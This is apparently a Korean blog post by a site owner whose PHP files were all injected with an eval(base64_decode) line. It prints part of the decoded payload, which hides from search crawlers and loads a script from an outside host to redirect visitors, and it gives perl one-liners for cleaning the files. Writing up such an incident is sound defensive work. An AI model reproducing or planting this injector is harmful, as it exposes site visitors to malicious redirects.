PHP eval(base64_decode 해킹

호스팅 해서 쓰고 있는 계정의 모든 PHP 파일의 첫줄에

<?php /**/ eval(base64_decode(“….”); ?>

이 삽입되는 해킹을 당했다. 유사한 사례를 찾아보니 인터넷에 좀 있기는 하다. 이 곳에 언급된 피해사례와 거의 동일하다.

 

다행히 손실되거나 한 데이터는 없는데, 이 일이 있고나서 방금 전까지 12시간여동안mcpanic.com/juhokim.com 을 방문한 분들은 좀 놀랐을듯. 죄송합니다… PHP 스크립트를 사용하는 동작을 하면 갑자기 이상한 URL 로 자동 리다이렉트 되는 문제가 생긴다. 첫줄에 있는 base64_decode 안에 있는 코드가 실행이 되면서 엉뚱한 곳의 코드를 실행하는 것이다. decode 를 해보니 볼드체로 된 URL 에 있는 스크립트를 실행한다.

 

if(function_exists(‘ob_start’)&&!isset($GLOBALS[‘mr_no’])){  
    $GLOBALS[‘mr_no’]=1;  
    if(!function_exists(‘mrobh’)){     
        if(!function_exists(‘gml’)){    
            function gml(){     
                if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){      
                    return “<script src=’http://zettapetta.com/js.php’></script”;     
                }     
                return "";    
            }   
        }  

<후략>

 

워낙 많은 파일들이 피해를 입어서 일괄적으로 수정을 하기 위해 오랜만에 regular expression 을 끄적거렸다. 일단 어떤 파일들이 피해를 입었는지 보기 위해서 grep 으로 살펴봤더니 모두 PHP 파일이었고, 첫줄에만 피해가 있었다. 일괄적으로 수정하는 한줄의 코드를 실행시켜서 일단 급한 불을 껐다. Perl 의 –i 플래그에 확장자를 붙여주면 변경하기 전 파일을 복사해 확장자를 붙여 저장해 준다.

 

find ./ -name "*.php" | xargs perl -i.bak -p -e ‘s/\<\?php \/\*\*\/ eval\(base64_decode\(\".*\"\)\)\;\?\>//’;

 

그랬더니 PHP 파일 최상단에 빈줄이 생겨 제대로 동작하지 않는 문제가 발생했다. 역시 이런건 한번에 깔끔하게 하기가 쉽지 않다. 그래서 맨 위 5줄에 있는 빈줄을 모두 없애기 위해 다시 한번, ‘close ARGV if eof’ 를 해주지 않으면 current line number 인 $. 가 계속해서 올라가기 때문에 원하는 동작을 하지 않는다.

find ./ -name "*.php" | xargs perl -i.hack3 -p -e ‘s/^\s*$// if $.<5; close ARGV if eof’;

 

PHP 의 보안이나 다른 어딘가에 보안 구멍이 있는 것 같은데, 보안 쪽은 영 문외한이라 어디부터 손봐야할지 모르겠다. 혹시 비슷한 경험이 있거나 예방책 등을 아시는 분은 애정어린 조언을 부탁드립니다!